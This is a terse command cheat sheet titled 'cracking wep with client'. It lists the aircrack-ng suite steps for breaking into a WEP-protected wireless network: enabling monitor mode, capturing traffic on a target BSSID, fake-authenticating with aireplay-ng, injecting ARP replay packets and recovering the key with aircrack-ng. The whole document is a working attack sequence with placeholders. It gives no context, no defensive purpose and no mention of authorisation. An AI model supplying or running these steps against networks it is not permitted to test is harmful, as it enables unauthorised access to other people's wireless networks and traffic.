cracking wep with client

airmon-ng start [device]
airodump-ng mon0
airodump-ng -c [channel] -w [erfan] --bssid [bssid] mon0
aireplay-ng -1 0 -a [bssid] -h Assoc-Station-mac -e [essid] mon0
aireplay-ng -3 -b [bssid] -h Assoc-Station-mac mon0
aircrack-ng -b [bssid] [erfan]-01.cap